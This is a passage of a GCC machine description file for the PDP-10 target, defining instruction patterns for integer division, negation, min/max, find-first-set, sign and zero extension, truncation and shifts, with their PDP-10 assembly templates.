  (mod:DI (match_dup 1) (match_dup 2)))])]\n  \"TARGET_71BIT\"\n  \"{\n     rtx temp = gen_reg_rtx (TImode);\n     emit_move_insn (gen_rtx_SUBREG (SImode, temp, 0),\n\t\t     gen_rtx_SUBREG (SImode, operands[1], 0));\n     emit_insn (gen_ashrsi3 (gen_rtx_SUBREG (SImode, temp, 0),\n\t\t\t     gen_rtx_SUBREG (SImode, temp, 0),\n\t\t\t     GEN_INT (35)));\n     emit_move_insn (gen_rtx_SUBREG (SImode, temp, 4),\n\t\t     gen_rtx_SUBREG (SImode, temp, 0));\n     emit_move_insn (gen_rtx_SUBREG (DImode, temp, 8), operands[1]);\n     emit_insn (gen_DDIV (temp, temp, operands[2]));\n     emit_move_insn (operands[0], gen_rtx_SUBREG (DImode, temp, 0));\n     emit_move_insn (operands[3], gen_rtx_SUBREG (DImode, temp, 8));\n     DONE;\n   }\")\n\n(define_insn \"udivsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(udiv:SI (match_operand:SI 1 \"register_operand\" \"0,0,0,r\")\n\t\t (match_operand:SI 2 \"general_operand\" \"I,i,rm,0\")))]\n  \"TARGET_XKL2\"\n  \"@\n   extend %0,[uidivi %2]\n   extend %0,[uidiv [%2]]\n   extend %0,[uidiv %2]\n   extend %1,[uidivm %0]\")\n\n;; UIDIVI with indexing missing.\n;; UIDIVB missing.\n\n(define_insn \"umodsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r,m\")\n\t(umod:SI (match_operand:SI 1 \"register_operand\" \"0,0,0,r\")\n\t\t (match_operand:SI 2 \"general_operand\" \"I,i,rm,0\")))]\n  \"TARGET_XKL2\"\n  \"@\n   extend %0,[uimodi %2]\n   extend %0,[uimod [%2]]\n   extend %0,[uimod %2]\n   extend %1,[uimodm %0]\")\n\n;; UIMODI with indexing missing.\n;; UIMODB missing.\n\n(define_insn \"negsi2\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m,r,m\")\n\t(neg:SI (match_operand:SI 1 \"general_operand\" \"rm,r,I,0\")))]\n  \"\"\n  \"@\n   movn %0,%1\n   movnm %1,%0\n   movni %0,%N1\n   movns %0\")\n\n(define_insn \"*MOVNI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(neg:SI (and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t(const_int RIGHT_HALF))))]\n  \"\"\n  \"movni %0,(%1)\")\n(define_insn \"*MOVNI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(neg:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t(const_int RIGHT_HALF))))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"movni %0,%2(%1)\")\n\n(define_insn \"*MOVNS\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(neg:SI (match_dup 0)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(neg:SI (match_dup 0)))]\n  \"\"\n  \"movns %1,%0\")\n\n(define_expand \"negdi2\"\n  [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"\")\n\t(neg:DI (match_operand:DI 1 \"reg_or_mem_operand\" \"\")))]\n  \"TARGET_KI10up && TARGET_71BIT\"\n  \"\")\n\n(define_insn \"*negdi2\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r\")\n\t(neg:DI (match_operand:DI 1 \"reg_or_mem_operand\" \"0,ro\")))]\n  \"!TARGET_71BIT\"\n  \"@\n   setca %0,\\;jumpe %Z0,[aoja %0,.+2]\\;%_movn %Z0,%Z0\n   setcm %0,%1\\;movn %Z0,%Z1\\;jumpe %Z0,[aoja %0,.+1]\"\n  [(set_attr \"length\" \"3,3\")])\n\n(define_insn \"*DMOVN\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(neg:DI (match_operand:DI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_71BIT && TARGET_KI10up\"\n  \"dmovn %0,%1\\;tlne %0,400000\\;%_tlo %Z0,400000\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"abssi2\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m,m\")\n\t(abs:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r,0\")))]\n  \"\"\n  \"@\n   movm %0,%1\n   movmm %1,%0\n   movms %0\")\n\n(define_insn \"*MOVMS\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(abs:SI (match_dup 0)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(abs:SI (match_dup 0)))]\n  \"\"\n  \"movms %1,%0\")\n\n(define_insn \"smaxsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r,r,r,x,x,x\")\n        (smax:SI (match_operand:SI 1 \"register_operand\" \"%0,0,0,0,r,r,r,r\")\n\t\t (match_operand:SI 2 \"general_operand\" \"rm,I,M,i,0,O,I,rm\")))]\n  \"\"\n  \"@\n   camge %1,%2\\;%_move %0,%2\n   caige %1,%2\\;%_movei %0,%2\n   camge %1,[%2]\\;%_seto %0,\n   camge %1,[%2]\\;%_move %0,[%2]\n   camle %1,%2\\;%_move %0,%1\n   skipge %0,%1\\;%_movei %0,0\n   caile %1,%2\\;%_skipa %0,%1\\;%_%_movei %0,%2\n   camle %1,%2\\;%_skipa %0,%1\\;%_%_move %0,%2\"\n  [(set_attr \"length\" \"2,2,2,2,2,2,3,3\")])\n\n(define_expand \"umaxsi3\"\n  [(set (match_dup 3)\n\t(xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n                (const_int SIGNBIT)))\n   (set (match_dup 4)\n\t(xor:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"\")\n                (const_int SIGNBIT)))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n\t(if_then_else:SI\n\t (ge (match_dup 3) (match_dup 4))\n\t (match_dup 1)\n\t (match_dup 2)))]\n  \"\"\n  \"operands[3] = gen_reg_rtx (SImode);\n   operands[4] = gen_reg_rtx (SImode);\")\n\n(define_insn \"*umaxsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,x\")\n\t(if_then_else:SI\n\t (ge (match_operand:SI 3 \"register_operand\" \"r,r,r\")\n\t     (match_operand:SI 4 \"reg_or_mem_operand\" \"rm,rm,rm\"))\n\t (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,rm\")\n\t (match_operand:SI 2 \"reg_or_mem_operand\" \"rm,0,rm\")))]\n  \"\"\n  \"@\n   camge %3,%4\\;%_move %0,%2\n   camle %3,%4\\;%_move %0,%1\n   camle %3,%4\\;%_skipa %0,%1\\;%_%_move %0,%2\"\n  [(set_attr \"length\" \"2,2,3\")])\n\n(define_insn \"sminsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r,r,r,x,x,x\")\n        (smin:SI (match_operand:SI 1 \"register_operand\" \"%0,0,0,0,r,r,r,r\")\n\t\t (match_operand:SI 2 \"general_operand\" \"rm,I,M,i,0,O,I,rm\")))]\n  \"\"\n  \"@\n   camle %1,%2\\;%_move %0,%2\n   caile %1,%2\\;%_movei %0,%2\n   camle %1,[%2]\\;%_seto %0,\n   camle %1,[%2]\\;%_move %0,[%2]\n   camge %1,%2\\;%_move %0,%1\n   skiple %0,%1\\;%_movei %0,0\n   caige %1,%2\\;%_skipa %0,%1\\;%_%_movei %0,%2\n   camge %1,%2\\;%_skipa %0,%1\\;%_%_move %0,%2\"\n  [(set_attr \"length\" \"2,2,2,2,2,2,3,3\")])\n\n(define_expand \"uminsi3\"\n  [(set (match_dup 3)\n\t(xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n                (const_int SIGNBIT)))\n   (set (match_dup 4)\n\t(xor:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"\")\n                (const_int SIGNBIT)))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n\t(if_then_else:SI\n\t (le (match_dup 3) (match_dup 4))\n\t (match_dup 1)\n\t (match_dup 2)))]\n  \"\"\n  \"operands[3] = gen_reg_rtx (SImode);\n   operands[4] = gen_reg_rtx (SImode);\")\n\n(define_insn \"*uminsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,x\")\n\t(if_then_else:SI\n\t (le (match_operand:SI 3 \"register_operand\" \"r,r,r\")\n\t     (match_operand:SI 4 \"reg_or_mem_operand\" \"rm,rm,rm\"))\n\t (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,rm\")\n\t (match_operand:SI 2 \"reg_or_mem_operand\" \"rm,0,rm\")))]\n  \"\"\n  \"@\n   camle %3,%4\\;%_move %0,%2\n   camge %3,%4\\;%_move %0,%1\n   camge %3,%4\\;%_skipa %0,%1\\;%_%_move %0,%2\"\n  [(set_attr \"length\" \"2,2,3\")])\n\n;; The JFFO instruction searches from the most significant bit while\n;; FFS searches from the least significant bit.  The bit index and\n;; treatment of zero also differ.\n(define_expand \"ffssi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ffs:SI (match_operand:SI 1 \"register_operand\" \"\")))]\n  \"TARGET_KA10up\"\n  \"if (!TARGET_XKL2)\n     {\n       rtx t1 = gen_reg_rtx (SImode);\n       rtx t2 = gen_reg_rtx (SImode);\n       rtx t3 = gen_reg_rtx (DImode);\n       rtx t4 = gen_reg_rtx (SImode);\n       rtx label = gen_label_rtx ();\n       extern int pdp10_expand_ffs;\n\n       pdp10_expand_ffs++;\n\n       emit_insn (gen_negsi2 (t1, operands[1]));\n       emit_insn (gen_andsi3 (t2, operands[1], t1));\n       emit_move_insn (gen_rtx_SUBREG (SImode, t3, 0), t2);\n       emit_jump_insn (gen_JFFO (t3, gen_rtx_LABEL_REF (Pmode, label)));\n       emit_move_insn (gen_rtx_SUBREG (SImode, t3, 4),\n\t\t       GEN_INT (36));\n       emit_label (label);\n       emit_insn (gen_subsi3 (t4,\n\t\t\t      gen_rtx_SUBREG (SImode, t3, 4),\n\t\t\t      GEN_INT (36)));\n       emit_insn (gen_negsi2 (operands[0], t4));\n       DONE;\n     }\")\n\n(define_insn \"*FFS\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ffs:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2\"\n  \"ffs %0,%1\")\n\n; (define_expand \"popcountsi\"\n;   Sequence taken from HAKMEM.\n;   LDB B,[014300,,A]      ;or MOVE B,A then LSH B,-1\n;   AND B,[333333,,333333]\n;   SUB A,B\n;   LSH B,-1\n;   AND B,[333333,,333333]\n;   SUBB A,B               ;each octal digit is replaced by number of 1's in it\n;   LSH B,-3\n;   ADD A,B\n;   AND A,[070707,,070707]\n;   IDIVI A,77             ;casting out 63.'s\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Integer Conversions\n\n; (define_insn \"zero_extendqisi2\"\n;   [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n;         (zero_extend:SI (match_operand:QI 1 \"register_operand\" \"r\")))]\n;   \"\"\n;   \"\"\n;   [(set_attr \"length\" \"0\")])\n(define_insn \"zero_extendqisi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI (match_operand:QI 1 \"register_operand\" \"0\")))]\n  \"\"\n  {\n    if (zero_extended_p (operands[0], 27, insn))\n      return \"\";\n    else\n      return \"andi %0,777%; zero_extendqisi2\";\n  })\n\n(define_insn \"zero_extendhisi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI (match_operand:HI 1 \"register_operand\" \"r\")))]\n  \"\"\n  {\n    if (REGNO (operands[0]) == REGNO (operands[1])\n\t&& zero_extended_p (operands[0], 18, insn))\n      return \"\";\n    else\n      return \"hrrz %0,%1%; zero_extendhisi2\";\n  })\n\n(define_insn \"zero_extendsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_ZERO_EXTEND))]\n  \"\"\n  {\n    int extend_bits = INTVAL (operands[2]);\n    int bitsize = BITS_PER_WORD - extend_bits;\n    if (zero_extended_p (operands[0], extend_bits, insn))\n      return \"\";\n    else if (extend_bits > 18)\n      {\n        operands[2] = GEN_INT ((1 << bitsize) - 1);\n        return \"andi %0,%2\";\n      }\n    else if (extend_bits == 18)\n      return \"hrrz %0,%0\";\n    else\n      {\n        operands[2] = GEN_INT (((1 << extend_bits) - 1) << (18 - extend_bits));\n        return \"tlz %0,%2\";\n      }\n  })\n\n(define_insn \"*extendqisi2_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (sign_extend:SI\n\t (subreg:QI (match_operand:SI 1 \"register_operand\" \"r\") 0)))]\n  \"\"\n  {\n    if (REGNO (operands[0]) == REGNO (operands[1]))\n      return \"\";\n    else\n      return \"move %0,%1%; extendqisi2_reg\";\n  })\n\n(define_expand \"extendqisi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(sign_extend:SI (match_operand:QI 1 \"register_operand\" \"\")))]\n  \"\"\n  \"\")\n;   \"if (!TARGET_XKL2)\n;      {\n;        rtx op1 = operands[1];\n;        if (GET_CODE (op1) == SUBREG && SUBREG_BYTE (op1) == 3)\n; \top1 = SUBREG_REG (op1);\n;        emit_insn (gen_ashlsi3 (operands[0],\n; \t\t\t       gen_rtx_SUBREG (SImode, op1, 0),\n; \t\t\t       GEN_INT (27)));\n;        emit_insn (gen_ASH_right (operands[0], operands[0], GEN_INT (-27)));\n;        DONE;\n;      }\")\n\n\n(define_insn \"*extendqisi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extend:SI (match_operand:QI 1 \"register_operand\" \"0\")))]\n  \"!TARGET_XKL2\"\n  {\n    if (sign_extended_p (operands[0], 27, insn))\n      return \"\";\n    else if (zero_extended_p (operands[0], 27, insn))\n      return \"trne %0,400\\;%_orcmi %0,777\";\n    else\n      return \"lsh %0,33\\;ash %0,-33\";\n  }\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*extendqisi2_xkl2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extend:SI (match_operand:QI 1 \"register_operand\" \"0\")))]\n  \"TARGET_XKL2\"\n  \"extend %0,[sext 9]\")\n\n(define_insn \"extendhisi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extend:SI (match_operand:HI 1 \"register_operand\" \"r\")))]\n  \"\"\n  {\n    if (sign_extended_p (operands[1], 18, insn)\n\t&& REGNO (operands[0]) == REGNO (operands[1]))\n      return \"\";\n    else\n      return \"hrre %0,%1%; extendhisi2\";\n  })\n\n(define_insn \"sign_extendsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_SIGN_EXTEND))]\n  \"\"\n  {\n    int extend_bits = INTVAL (operands[2]);\n    if (sign_extended_p (operands[0], extend_bits, insn))\n      return \"\";\n    else if (zero_extended_p (operands[0], extend_bits, insn))\n      {\n        int bitsize = BITS_PER_WORD - extend_bits;\n        operands[1] = GEN_INT ((HOST_WIDE_INT)1 << (bitsize - 1));\n        operands[2] = GEN_INT (((HOST_WIDE_INT)1 << bitsize) - 1);\n        return \"trne %0,%1\\;%_orcmi %0,%2\";\n      }\n    else\n      return \"lsh %0,%2\\;ash %0,-%2\";\n  })\n\n(define_insn \"truncsiqi2\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(truncate:QI (match_operand:SI 1 \"register_operand\" \"0\")))]\n  \"\"\n  \"andi %0,777%; truncsiqi2\")\n\n(define_insn \"truncsihi2\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n\t(truncate:HI (match_operand:SI 1 \"register_operand\" \"r\")))]\n  \"\"\n  \"hrr %0,%1%; truncsihi2\")\n\n(define_insn \"truncsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand 2 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_TRUNCATE))]\n  \"\"\n  {\n    int bits = BITS_PER_WORD - INTVAL (operands[2]);\n    if (bits < 18)\n      {\n\toperands[2] = GEN_INT (((HOST_WIDE_INT)1 << bits) - 1);\n\treturn \"andi %0,%2%; truncsi\";\n      }\n    else\n      {\n\toperands[2] = GEN_INT ((0777777 << (bits - 18)) & 0777777);\n\treturn \"tlz %0,%2%; truncsi\";\n      }\n  })\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Shifting and Rotating\n\n(define_insn \"real_ashlsi3\"\n [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n       (unspec:SI\n\t[(match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t (match_operand:SI 2 \"general_operand\" \"x,K,m\")]\n\tUNSPEC_REAL_ASHIFT))]\n \"\"\n \"@\n  ash %0,(%2)\n  ash %0,%2\n  ash %0,@%2\")\n\n(define_insn \"*ASH_left_plus\"\n [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n       (unspec:SI\n\t[(match_operand:SI 1 \"register_operand\" \"0\")\n\t (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\"))]\n\tUNSPEC_REAL_ASHIFT))]\n \"\"\n \"ash %0,%3(%2)\")\n\n(define_expand \"lshrsi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n\t(lshiftrt:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"\"\n  \"if (GET_CODE (operands[2]) == CONST_INT)\n     {\n       emit_insn (gen_LSH_right (operands[0], operands[1],\n\t\t\t\t GEN_INT (-INTVAL (operands[2]))));\n       DONE;\n     }\n   else\n     operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"LSH_right\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n\t(lshiftrt:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"\"\n  \"@\n   lsh %0,(%2)\n   lsh %0,%2\n   lsh %0,@%2\")\n\n(define_insn \"*LSH_right_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(lshiftrt:SI\n\t (match_operand:SI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"const_int_operand\" \"K\")))))]\n  \"\"\n  \"lsh %0,%3(%2)\")\n\n(define_insn \"real_ashldi3\"\n [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n       (unspec:DI\n\t[(match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t (match_operand:SI 2 \"general_operand\" \"x,K,m\")]\n\tUNSPEC_REAL_ASHIFT))]\n \"TARGET_71BIT\"\n \"@\n  ashc %0,(%2)\n  ashc %0,%2\n  ashc %0,@%2\")\n\n(define_insn \"*ASHC\"\n [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n       (unspec:DI\n\t[(match_operand:DI 1 \"register_operand\" \"0\")\n\t (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\"))]\n\tUNSPEC_REAL_ASHIFT))]\n \"TARGET_71BIT\"\n \"ashc %0,%3(%2)\")\n\n(define_expand \"lshrdi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:DI 0 \"register_operand\" \"\")\n\t(lshiftrt:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"\"\n  \"if (GET_CODE (operands[2]) == CONST_INT)\n     {\n       if (TARGET_71BIT)\n\t emit_insn (gen_LSHC_right_71 (operands[0], operands[1],\n\t\t\t\t       GEN_INT (-INTVAL (operands[2]))));\n       else\n\t emit_insn (gen_LSHC_right (operands[0], operands[1],\n\t\t\t\t    GEN_INT (-INTVAL (operands[2]))));\n       DONE;\n     }\n   else\n     operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"LSHC_right_71\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(lshiftrt:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"TARGET_71BIT\"\n  {\n    const char *asms[] =\n    {\n      \"lsh %Z0,1\\;lshc %0,(%2)\\;lsh %Z0,-1\",\n      \"lsh %Z0,1\\;lshc %0,%2\\;lsh %Z0,-1\",\n      \"lsh %Z0,1\\;lshc %0,@%2\\;lsh %Z0,-1\"\n    };\n    int n;\n\n    if (get_attr_length (insn) == 1)\n      {\n        operands[2] = GEN_INT (INTVAL (operands[2]) - 1);\n\treturn \"lshc %0,%2\";\n      }\n    /*else if (GET_CODE (operands[2]) == CONST_INT\n\t     && INTVAL (operands[2]) == -1)\n      return \"ashc %0,-1\\;tlze %0,400000\\;tlz %Z0,400000\";*/\n    else if (GET_CODE (operands[2]) == CONST_INT\n\t     && (n = INTVAL (operands[2])) >= -18)\n      {\n        int mask = (0777777 << (18 + n)) & 0777777;\n\tstatic char insn[100];\n\n\tsnprintf (insn, sizeof insn,\n\t\t  \"ashc %%0,%%2\\;tlze %%0,%o\\;tlz %%Z0,400000\",\n\t\t  mask);\n\treturn insn;\n      }\n    else\n      return asms[which_alternative];\n  }\n  [(set (attr \"length\")\n\t(if_then_else (and (match_operand 2 \"const_int_operand\" \"\")\n\t\t\t   (ge (symbol_ref \"-INTVAL (operands[2])\")\n\t\t\t       (const_int 35)))\n\t\t      (const_int 1)\n\t\t      (const_int 3)))])\n\n(define_insn \"LSHC_right\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(lshiftrt:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"!TARGET_71BIT\"\n  \"@\n   lshc %0,(%2)\n   lshc %0,%2\n   lshc %0,@%2\")\n\n(define_insn \"*LSHC_right_plus_71\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(lshiftrt:DI\n\t (match_operand:DI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"TARGET_71BIT\"\n  \"lsh %Z0,1\\;lshc %0,%3(%2)\\;lsh %Z0,-1\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*LSHC_right_plus\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(lshiftrt:DI\n\t (match_operand:DI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"!TARGET_71BIT\"\n  \"lshc %0,%3(%2)\")\n\n(define_insn \"ashlsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n\t(ashift:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"x,K,m\")))]\n  \"\"\n  \"@\n   lsh %0,(%2)\n   lsh %0,%2\n   lsh %0,@%2\")\n\n(define_insn \"*LSH_left_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ashift:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t   (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t    (match_operand:SI 3 \"immediate_operand\" \"K\"))))]\n  \"\"\n  \"lsh %0,%3(%2)\")\n\n(define_expand \"ashrsi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ashiftrt:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"\"\n  \"if (GET_CODE (operands[2]) == CONST_INT)\n     {\n       emit_insn (gen_ASH_right (operands[0], operands[1],\n\t\t\t\t GEN_INT (-INTVAL (operands[2]))));\n       DONE;\n     }\n   else\n     operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"ASH_right\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n\t(ashiftrt:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"\"\n  \"@\n   ash %0,(%2)\n   ash %0,%2\n   ash %0,@%2\")\n\n(define_insn \"*ASH_right_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:SI\n\t (match_operand:SI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"\"\n  \"ash %0,%3(%2)\")\n\n(define_expand \"ashldi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(ashift:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  \"\")\n\n(define_insn \"*ashldi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(ashift:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"x,K,m\")))]\n  \"!TARGET_71BIT\"\n  \"@\n   lshc %0,(%2)\n   lshc %0,%2\n   lshc %0,@%2\")\n\n(define_insn \"LSHC_left\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(unspec:DI [(match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t    (match_operand:SI 2 \"general_operand\" \"x,K,m\")]\n\t\t   UNSPEC_LSHC))]\n  \"TARGET_71BIT\"\n  \"@\n   lshc %0,(%2)\n   lshc %0,%2\n   lshc %0,@%2\")\n\n(define_insn \"*ashldi3_71bit\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(ashift:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"x,K,m\")))]\n  \"TARGET_71BIT\"\n  {\n    const char *asms[] =\n    {\n      \"lsh %Z0,1\\;lshc %0,(%2)\\;lsh %Z0,-1\",\n      \"lsh %Z0,1\\;lshc %0,%2\\;lsh %Z0,-1\",\n      \"lsh %Z0,1\\;lshc %0,@%2\\;lsh %Z0,-1\"\n    };\n\n    switch (get_attr_length (insn))\n      {\n      case 3:\n        operands[2] = GEN_INT (INTVAL (operands[2]) + 1);\n\toutput_asm_insn (\"lshc %0,%2\", operands);\n\tbreak;\n      case 4:\n        {\n\t  static char insn[100];\n\t  int n = INTVAL (operands[2]);\n\t  snprintf (insn, sizeof insn,\n\t\t    n < 18 ? \"tlne %%0,%o\" : \"trne %%0,%o\",\n\t\t    0400000 >> (n < 18 ? n: n - 18));\n\t  output_asm_insn (insn, operands);\n          return \"%_tloa %0,400000\\;%_%_tlz %0,400000\\;ashc %0,%2\";\n\t}\n      case 5:\n        output_asm_insn (asms[which_alternative], operands);\n\tbreak;\n      default:\n        abort ();\n      }\n\n    return \"tlne %0,400000\\;%_tlo %Z0,400000\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else (match_operand 2 \"const_int_operand\" \"\")\n\t\t      (if_then_else\n\t\t       (ge (symbol_ref \"INTVAL (operands[2])\") (const_int 36))\n\t\t       (const_int 3)\n\t\t       (const_int 4))\n\t\t      (const_int 5)))])\n\n(define_insn \"*LSHC_left_plus\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(ashift:DI (match_operand:DI 1 \"register_operand\" \"0\")\n\t\t   (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t    (match_operand:SI 3 \"immediate_operand\" \"K\"))))]\n  \"!TARGET_71BIT\"\n  \"lshc %0,%3(%2)\")\n\n(define_insn \"*LSHC_left_plus_71bit\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(ashift:DI (match_operand:DI 1 \"register_operand\" \"0\")\n\t\t   (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t    (match_operand:SI 3 \"immediate_operand\" \"K\"))))]\n  \"TARGET_71BIT\"\n  \"lsh %Z0,1\\;lshc %0,%3(%2)\\;lsh %Z0,-1\\;tlne %0,400000\\;%_tlo %Z0,400000\"\n  [(set_attr \"length\" \"5\")])\n\n(define_expand 